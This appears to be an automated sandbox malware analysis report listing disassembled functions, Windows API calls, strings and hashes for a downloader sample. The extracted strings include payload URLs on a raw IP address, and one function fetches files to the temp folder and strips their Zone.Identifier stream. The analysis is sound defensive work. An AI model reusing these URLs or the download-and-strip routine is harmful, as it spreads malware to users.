Instruction Fuzzy Hash: CC217F75E04208FBDB04DFA4D885B9EBB74AF45305F10C1B9ED016B391D679AA80DB49

Function 00401C50 Relevance: 6.1, APIs: 4, Instructions: 59networksleepCOMMON

Download Yara Rule

APIs

WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 00401C88
WSAGetLastError.WS2_32(?,?,004021A5,00000000), ref: 00401C90
Sleep.KERNEL32(00000001,?,?,004021A5,00000000), ref: 00401CA6
WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 00401CCC

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: Recv$ErrorLastSleep
String ID:
API String ID: 3668019968-0
Opcode ID: 115ea0e646e0c4f71d919f36be7c9bac7cbabd22de7b6b0e5f0bd0a6bc0a71ea
Instruction ID: df3cbe2ca7d05c2b70b960210cdf5b20c1916dde76b22b2cec88194eea221140
Opcode Fuzzy Hash: 115ea0e646e0c4f71d919f36be7c9bac7cbabd22de7b6b0e5f0bd0a6bc0a71ea
Instruction Fuzzy Hash: 6A11AD72148305AFD310CF65EC84AEBB7ECEB88710F40492AF945D2140E679E94997B6

Function 00401AE0 Relevance: 6.0, APIs: 4, Instructions: 49networksleepCOMMON

Download Yara Rule

APIs

WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 00401B0C
WSAGetLastError.WS2_32 ref: 00401B12
Sleep.KERNEL32(00000001), ref: 00401B28
WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 00401B4A

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: Send$ErrorLastSleep
String ID:
API String ID: 2121970615-0
Opcode ID: 68b99e883f80ec4d8e473af3bb6ab78542c6fab184647b02e4118960a37caac2
Instruction ID: 6027246a5f20d5291fae036152240cd5c1f9414458335baedc5b4335fd2ad738
Opcode Fuzzy Hash: 68b99e883f80ec4d8e473af3bb6ab78542c6fab184647b02e4118960a37caac2
Instruction Fuzzy Hash: 8F014F712483046EE7209B96DC88F9B77A8EBC4711F508429F608961C0D7B5A9459B79

Function 0040D9A0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 0040D9B9
CloseHandle.KERNEL32(?), ref: 0040D9E8
LeaveCriticalSection.KERNEL32(?), ref: 0040D9F7
DeleteCriticalSection.KERNEL32(?), ref: 0040DA04

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: CriticalSection$CloseDeleteEnterHandleLeave
String ID:
API String ID: 3102160386-0
Opcode ID: ed15acf6120be580f2efb04119f98ac13af0f23ee5fa2c95d393dc01a9c3cf4d
Instruction ID: da3f5db6e059a7c592b49e611c360a1232ff957d222e4d531544d3c603d0b457
Opcode Fuzzy Hash: ed15acf6120be580f2efb04119f98ac13af0f23ee5fa2c95d393dc01a9c3cf4d
Instruction Fuzzy Hash: 2A1121B4E00208EBDB08DF94D984A9DB775FF44309F1081A9E806A7341D739EF95DB85

Function 004017A0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,0040186C,?,?), ref: 004017B0
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004017C0
LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 004017CD
LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 00401808

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$EnterExchangeInterlocked
String ID:
API String ID: 2223660684-0
Opcode ID: 03c0a71711caba3423ec18258d7e67e7f1e7096498cee499a2df36c29d80c934
Instruction ID: 660f416c0ba452cd5c41a421238d9990710d8623252f526507a58679470d43f9
Opcode Fuzzy Hash: 03c0a71711caba3423ec18258d7e67e7f1e7096498cee499a2df36c29d80c934
Instruction Fuzzy Hash: 2301F27A242300AFC3209F26ED84A9B73F8AF85B11F00443EE546E3A50DB39E401CB28

Function 00406F70 Relevance: 6.0, APIs: 4, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002,?,?,00407FB7), ref: 00406F78
SysAllocString.OLEAUT32(00417B18), ref: 00406F83
CoUninitialize.OLE32 ref: 00406FA8

Part of subcall function 00406FC0: SysFreeString.OLEAUT32(00000000), ref: 004071D8

SysFreeString.OLEAUT32(00000000), ref: 00406FA2

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: String$Free$AllocInitializeUninitialize
String ID:
API String ID: 459949847-0
Opcode ID: 04d1d2bcffda370cb2b5a7ceb5013a9587be47d2db71fc951fd56c3c7d876cd0
Instruction ID: 7397cee9579370c29f446d7a93da1be4fc5365a48f81cc5ba3db23e82f7acdfe
Opcode Fuzzy Hash: 04d1d2bcffda370cb2b5a7ceb5013a9587be47d2db71fc951fd56c3c7d876cd0
Instruction Fuzzy Hash: 22E0D8B4940308FBCB00DBE0ED0EB8D7734EB04315F004074F90267291DAB95E80C755

Function 00406FC0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 238COMMON

Download Yara Rule

APIs

Part of subcall function 00407250: CoCreateInstance.OLE32(00000000,00000000,00004401,00000000,00000000), ref: 00407270

SysFreeString.OLEAUT32(00000000), ref: 004071D8

Strings

Microsoft Corporation, xrefs: 00407146

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: CreateFreeInstanceString
String ID: Microsoft Corporation
API String ID: 586785272-3838278685
Opcode ID: 47348544a12607a113ad889ec3bd29dddf14831e53aa8f734b6601f1a55deb08
Instruction ID: e6ff3ca51e6e637cb53d631dd4329f9e07d4b07e7a8aed38044ad589faa32fb5
Opcode Fuzzy Hash: 47348544a12607a113ad889ec3bd29dddf14831e53aa8f734b6601f1a55deb08
Instruction Fuzzy Hash: 0F91EC75A0410ADFCB04DF98C894AAFB3B5BF89304F208169E515BB3E0D774AD41CBA6

Function 0040DF10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

Part of subcall function 0040E150: memset.NTDLL ref: 0040E178
Part of subcall function 0040E150: InternetCrackUrlA.WININET(0040DC29,00000000,10000000,0000003C), ref: 0040E1C8
Part of subcall function 0040E150: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040E1D8
Part of subcall function 0040E150: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040E211
Part of subcall function 0040E150: HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040E247
Part of subcall function 0040E150: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040E26F
Part of subcall function 0040E150: InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040E2B8
Part of subcall function 0040E150: InternetCloseHandle.WININET(00000000), ref: 0040E347

Part of subcall function 0040E040: SysAllocString.OLEAUT32(00000000), ref: 0040E06E
Part of subcall function 0040E040: CoCreateInstance.OLE32(00412A18,00000000,00004401,00412A08,00000000), ref: 0040E096
Part of subcall function 0040E040: SysFreeString.OLEAUT32(00000000), ref: 0040E131

SysFreeString.OLEAUT32(00000000), ref: 0040DFEB
SysFreeString.OLEAUT32(00000000), ref: 0040DFF5

Strings

%S%S, xrefs: 0040DFD6

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: Internet$String$Free$HttpOpenRequest$AllocCloseConnectCrackCreateFileHandleInstanceReadSendmemset
String ID: %S%S
API String ID: 1017111014-3267608656
Opcode ID: 8050ae28274428bf3bfa8973c943a31095365cba4dcb11065546cc064dfc1af3
Instruction ID: 0d7a9dfb02ef55e8037a527aa51067439edd5703c05fc0bf7ce6e387078fb77b
Opcode Fuzzy Hash: 8050ae28274428bf3bfa8973c943a31095365cba4dcb11065546cc064dfc1af3
Instruction Fuzzy Hash: 3E416BB5E002099FCB04DBE5C885AEFB7B4BF88304F108929E505B7391D778AA45CBA1

Function 0040DBD0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002,?,?,?,00407FB2), ref: 0040DBDA

Part of subcall function 0040DCA0: socket.WS2_32(00000002,00000002,00000011), ref: 0040DCBA
Part of subcall function 0040DCA0: htons.WS2_32(0000076C), ref: 0040DCF0
Part of subcall function 0040DCA0: inet_addr.WS2_32(239.255.255.250), ref: 0040DCFF
Part of subcall function 0040DCA0: setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040DD1D
Part of subcall function 0040DCA0: bind.WS2_32(000000FF,?,00000010), ref: 0040DD53
Part of subcall function 0040DCA0: lstrlenA.KERNEL32(00411D70,00000000,?,00000010), ref: 0040DD6C
Part of subcall function 0040DCA0: sendto.WS2_32(000000FF,00411D70,00000000), ref: 0040DD7B
Part of subcall function 0040DCA0: ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040DD95

Part of subcall function 0040DF10: SysFreeString.OLEAUT32(00000000), ref: 0040DFEB
Part of subcall function 0040DF10: SysFreeString.OLEAUT32(00000000), ref: 0040DFF5

Strings

UDP, xrefs: 0040DC68
TCP, xrefs: 0040DC4B

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: FreeString$Initializebindhtonsinet_addrioctlsocketlstrlensendtosetsockoptsocket
String ID: TCP$UDP
API String ID: 1519345861-1097902612
Opcode ID: eec8d27479aca65ce9d536c40e716b47b94f3bf0f210a133f1cac4c1684116a5
Instruction ID: a00cbb5bcfca6c5959655f637b3ec774768ac2685424fa301eff230043eb3e38
Opcode Fuzzy Hash: eec8d27479aca65ce9d536c40e716b47b94f3bf0f210a133f1cac4c1684116a5
Instruction Fuzzy Hash: A011B4B4D04208EBEB00EBD4DD85FAE7774EB44308F14886EE511772C2D6B86A54DB59

Function 00405E50 Relevance: 5.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(004174D8,?,00000000,?), ref: 00405E5F
memcpy.NTDLL(00000000,00000000,00000100), ref: 00405E9E
memcpy.NTDLL(00000000,00000000,00000100), ref: 00405F13
LeaveCriticalSection.KERNEL32(004174D8), ref: 00405F30

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: CriticalSectionmemcpy$EnterLeave
String ID:
API String ID: 469056452-0
Opcode ID: 4996b29259c9349675d46381685df80cb9fbc453c004c8ef9eea7ef5662ad9f1
Instruction ID: 40e991b6b4618cd04087b2a5cfa683f62b0bf83616b4f0bda180c9645beb9567
Opcode Fuzzy Hash: 4996b29259c9349675d46381685df80cb9fbc453c004c8ef9eea7ef5662ad9f1
Instruction Fuzzy Hash: C2218B70904208ABCB04DB94D885BDEBBB5EB94304F1481BAE845672C1C77CAA85CB9A

Analysis Process: 158752420.exePID: 3384, Parent PID: 6768COMMON

Execution Graph

Execution Coverage:	35%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	11.5%
Total number of Nodes:	113
Total number of Limit Nodes:	3

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 006E10B0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 41
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 006E10CA
wsprintfW.USER32 ref: 006E10E3
PathFileExistsW.KERNELBASE(?), ref: 006E10F3
CreateFileW.KERNELBASE(?,40000000,00000000,00000000,00000002,00000002,00000000), ref: 006E1119
CloseHandle.KERNELBASE(000000FF), ref: 006E1135

Strings

%temp%, xrefs: 006E10C5
%s\afaefefaeff.txt, xrefs: 006E10D7

Memory Dump Source

Source File: 00000006.00000002.2367181590.00000000006E1000.00000020.00000001.01000000.00000007.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000006.00000002.2367167524.00000000006E0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2367211185.00000000006E4000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2367223368.00000000006E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6e0000_158752420.jbxd

Similarity

API ID: File$CloseCreateEnvironmentExistsExpandHandlePathStringswsprintf
String ID: %s\afaefefaeff.txt$%temp%
API String ID: 750032643-3182922545
Opcode ID: 2e084f7c60150b48aed201b5480923c8e7b0fecd98a9bad3c0e1cde9c144cf8f
Instruction ID: bffd66e87146524a25c507e8736082c651f1cd9ecc74feb6db9c479d75238e07
Opcode Fuzzy Hash: 2e084f7c60150b48aed201b5480923c8e7b0fecd98a9bad3c0e1cde9c144cf8f
Instruction Fuzzy Hash: B801A7B0540368BBD720DB60DC8EFE57339AB45700F4045D8A7159B2D1D6B05BC59FA4

Function 006E1230 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLogicalDrives.KERNELBASE ref: 006E1236
RegOpenKeyExW.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 006E1284
RegQueryValueExW.KERNELBASE(?,NoDrives,00000000,00000000,00000000,00000004), ref: 006E12B1
RegCloseKey.KERNELBASE(?), ref: 006E12CE

Strings

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, xrefs: 006E1277
NoDrives, xrefs: 006E12A8

Memory Dump Source

Source File: 00000006.00000002.2367181590.00000000006E1000.00000020.00000001.01000000.00000007.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000006.00000002.2367167524.00000000006E0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2367211185.00000000006E4000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2367223368.00000000006E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6e0000_158752420.jbxd

Similarity

API ID: CloseDrivesLogicalOpenQueryValue
String ID: NoDrives$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
API String ID: 2666887985-3471754645
Opcode ID: cb3eb19471340dbb0cc85263514b2d42b9a0b62ecb1b2306af018bbd07bb36d5
Instruction ID: 6affc4b36772b3618830666eda28d376fc8f7c8f083f605eed730282bcc53c10
Opcode Fuzzy Hash: cb3eb19471340dbb0cc85263514b2d42b9a0b62ecb1b2306af018bbd07bb36d5
Instruction Fuzzy Hash: C011D870E0135A9FDB10CFD1C989BEEBBB5BB09704F104548E611AB280D7786A45DF91

Function 006E16A0 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 66
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000007D0), ref: 006E16AE

Part of subcall function 006E10B0: ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 006E10CA
Part of subcall function 006E10B0: wsprintfW.USER32 ref: 006E10E3
Part of subcall function 006E10B0: PathFileExistsW.KERNELBASE(?), ref: 006E10F3

Part of subcall function 006E1230: GetLogicalDrives.KERNELBASE ref: 006E1236
Part of subcall function 006E1230: RegOpenKeyExW.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 006E1284
Part of subcall function 006E1230: RegQueryValueExW.KERNELBASE(?,NoDrives,00000000,00000000,00000000,00000004), ref: 006E12B1
Part of subcall function 006E1230: RegCloseKey.KERNELBASE(?), ref: 006E12CE

wsprintfA.USER32 ref: 006E1755
strcmp.MSVCR90 ref: 006E176A

Part of subcall function 006E1150: lstrcpyW.KERNEL32(?,?), ref: 006E11A3

Strings

http://91.202.233.141/lksrv.exe, xrefs: 006E178F
http://91.202.233.141/lkdrv.exe, xrefs: 006E1776

Memory Dump Source

Source File: 00000006.00000002.2367181590.00000000006E1000.00000020.00000001.01000000.00000007.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000006.00000002.2367167524.00000000006E0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2367211185.00000000006E4000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2367223368.00000000006E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6e0000_158752420.jbxd

Similarity

API ID: wsprintf$CloseDrivesEnvironmentExistsExpandFileLogicalOpenPathQuerySleepStringsValuelstrcpystrcmp
String ID: http://91.202.233.141/lkdrv.exe$http://91.202.233.141/lksrv.exe
API String ID: 357889991-2508253401
Opcode ID: 580ee8f97e162e35365d21644bd13a2eed5206328c312eead0efbe7ae600a1ae
Instruction ID: 83ea9edf5a6304047fa163fad7825a8f12fabe5e2a76b3e27780a6f4ebfb00eb
Opcode Fuzzy Hash: 580ee8f97e162e35365d21644bd13a2eed5206328c312eead0efbe7ae600a1ae
Instruction Fuzzy Hash: 5821B6B4D023A89BCB60EB669C4D7AE7376AB05700F1441DCE5199F342DA309B84AF51

Function 006E11B0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDriveTypeW.KERNELBASE(006E118F), ref: 006E11BD
QueryDosDeviceW.KERNELBASE(006E118F,?,00000208), ref: 006E11FC
StrCmpNW.KERNELBASE(?,\??\,00000004), ref: 006E1214

Strings

\??\, xrefs: 006E1208

Memory Dump Source

Source File: 00000006.00000002.2367181590.00000000006E1000.00000020.00000001.01000000.00000007.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000006.00000002.2367167524.00000000006E0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2367211185.00000000006E4000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2367223368.00000000006E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6e0000_158752420.jbxd

Similarity

API ID: DeviceDriveQueryType
String ID: \??\
API String ID: 1681518211-3047946824
Opcode ID: 8bd7c183f5dc8e23e07147046c3dcd5cb35c891fe78833b27ee12e71d942ab9e
Instruction ID: cb44a08c43304d4ce2a2b41a30cd1ac30bb337774ecd58af9c3ef7f30890bab9
Opcode Fuzzy Hash: 8bd7c183f5dc8e23e07147046c3dcd5cb35c891fe78833b27ee12e71d942ab9e
Instruction Fuzzy Hash: D301E1B49513589BCB20CFA6DC497DDB7B6AB05705F0080A9A6049B340E6309BC5DF54

Function 006E1150 Relevance: 1.3, APIs: 1, Instructions: 32
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006E11B0: GetDriveTypeW.KERNELBASE(006E118F), ref: 006E11BD

lstrcpyW.KERNEL32(?,?), ref: 006E11A3

Memory Dump Source

Source File: 00000006.00000002.2367181590.00000000006E1000.00000020.00000001.01000000.00000007.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000006.00000002.2367167524.00000000006E0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2367211185.00000000006E4000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2367223368.00000000006E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6e0000_158752420.jbxd

Similarity

API ID: DriveTypelstrcpy
String ID:
API String ID: 3664088370-0
Opcode ID: 295f8a4f5cd99dfe782f6b7f360bb7e8525e8e69804bd909cc57b1364c6a883f
Instruction ID: a7a8a2d229a4f12f8fe3295ece0abf2ce4776a0d795791e1940fe1691ae0021c
Opcode Fuzzy Hash: 295f8a4f5cd99dfe782f6b7f360bb7e8525e8e69804bd909cc57b1364c6a883f
Instruction Fuzzy Hash: 53F04471D00248FBDB00DFA8D845BEDB7B9EF44300F0085A8E8199B340E235AB49DB45

Non-executed Functions

Function 006E14E0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 80
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCR90 ref: 006E1501
GetModuleHandleW.KERNEL32(ntdll.dll), ref: 006E1518
GetProcAddress.KERNEL32(00000000,RtlGetVersion), ref: 006E153D
memset.MSVCR90 ref: 006E1595
GetVersionExA.KERNEL32(0000009C), ref: 006E15AE
memset.MSVCR90 ref: 006E15F5
GetVersionExA.KERNEL32(0000009C), ref: 006E160E

Strings

RtlGetVersion, xrefs: 006E1531
ntdll.dll, xrefs: 006E1513

Memory Dump Source

Source File: 00000006.00000002.2367181590.00000000006E1000.00000020.00000001.01000000.00000007.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000006.00000002.2367167524.00000000006E0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2367211185.00000000006E4000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2367223368.00000000006E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6e0000_158752420.jbxd

Similarity

API ID: memset$Version$AddressHandleModuleProc
String ID: RtlGetVersion$ntdll.dll
API String ID: 3060919973-1489217083
Opcode ID: 6ec84185e4a1082cd9168ba93cb2ec2d45d3767970ee28b7ed91b6b949b09546
Instruction ID: 26fd4156811e5941bfb6b99edd3a5b9cc89748c01effb5410022a9910abf3a0c
Opcode Fuzzy Hash: 6ec84185e4a1082cd9168ba93cb2ec2d45d3767970ee28b7ed91b6b949b09546
Instruction Fuzzy Hash: C931CC70C063AC9ADF34CB228C4EBEAB776AB56700F0401D8E1495A2C1D7758F85EF91

Function 006E1B24 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00001AE2), ref: 006E1B29

Memory Dump Source

Source File: 00000006.00000002.2367181590.00000000006E1000.00000020.00000001.01000000.00000007.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000006.00000002.2367167524.00000000006E0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2367211185.00000000006E4000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2367223368.00000000006E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6e0000_158752420.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 6cca905fb2452a0d6afedccdf30d06e3a9a9cfdd831748dafe2320687f0cd58c
Instruction ID: 29ebfe759e107ea68b7a33c68bb276a812d52ac9ef185c5810c20cd728a3f930
Opcode Fuzzy Hash: 6cca905fb2452a0d6afedccdf30d06e3a9a9cfdd831748dafe2320687f0cd58c
Instruction Fuzzy Hash: 3690027029339046971017B65D4D61676A75A597167521465A101CD164EA6042447522

Function 006E12F0 Relevance: 40.4, APIs: 19, Strings: 4, Instructions: 129
networkfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 006E12F9
srand.MSVCR90 ref: 006E1300
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 006E1320
strlen.MSVCR90 ref: 006E132A
mbstowcs.MSVCR90 ref: 006E1341
rand.MSVCR90 ref: 006E1349
rand.MSVCR90 ref: 006E135D
wsprintfW.USER32 ref: 006E1384
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 006E139A
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 006E13C9
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 006E13F8
InternetReadFile.WININET(00000000,?,00000103,?), ref: 006E142B
WriteFile.KERNEL32(000000FF,?,00000000,?,00000000), ref: 006E145C
CloseHandle.KERNEL32(000000FF), ref: 006E146B
wsprintfW.USER32 ref: 006E1484
DeleteFileW.KERNEL32(?), ref: 006E1494
CloseHandle.KERNEL32(000000FF), ref: 006E14B0
InternetCloseHandle.WININET(00000000), ref: 006E14BD
InternetCloseHandle.WININET(00000000), ref: 006E14CA

Strings

%s:Zone.Identifier, xrefs: 006E1478
